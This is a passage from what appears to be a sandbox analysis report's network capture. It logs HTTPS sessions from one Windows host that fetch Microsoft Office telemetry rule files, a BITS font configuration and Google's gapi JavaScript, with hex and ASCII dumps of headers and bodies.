2024-11-05 09:13:34 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	49825	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:35 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-05 09:13:35 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=26999 Date: Tue, 05 Nov 2024 09:13:35 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-05 09:13:35 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.5	49834	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:35 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:35 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:35 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: d4890277-d01e-00ad-3c4b-2ee942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091335Z-157b9fd754fslm5zhC1SN1s0vn00000004c0000000000smv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:35 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.5	49833	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:35 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:35 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:35 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 7b54aac3-c01e-008d-0d5f-2e2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091335Z-157b9fd754fpwmfshC1SN1nanw00000004ag000000001un8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:35 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.5	49831	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:35 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:35 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:35 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 00707b2d-601e-0032-7755-2eeebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091335Z-158dbd74bf4fwv52hC1SN1tbkg00000003w0000000001cv1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:35 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	49829	172.217.18.14	443	4140	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:35 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-05 09:13:35 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Tue, 05 Nov 2024 05:25:09 GMT Expires: Wed, 05 Nov 2025 05:25:09 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 13706 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-05 09:13:35 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-05 09:13:35 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-11-05 09:13:35 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-11-05 09:13:35 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 Data Ascii: function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-11-05 09:13:35 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-11-05 09:13:35 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-11-05 09:13:35 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-11-05 09:13:35 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-11-05 09:13:35 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-11-05 09:13:36 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.5	49830	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:35 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:35 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:35 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 9b184377-001e-0014-055f-2e5151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091335Z-158dbd74bf4jmkvwhC1SN1wwbg00000003n0000000003fqc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
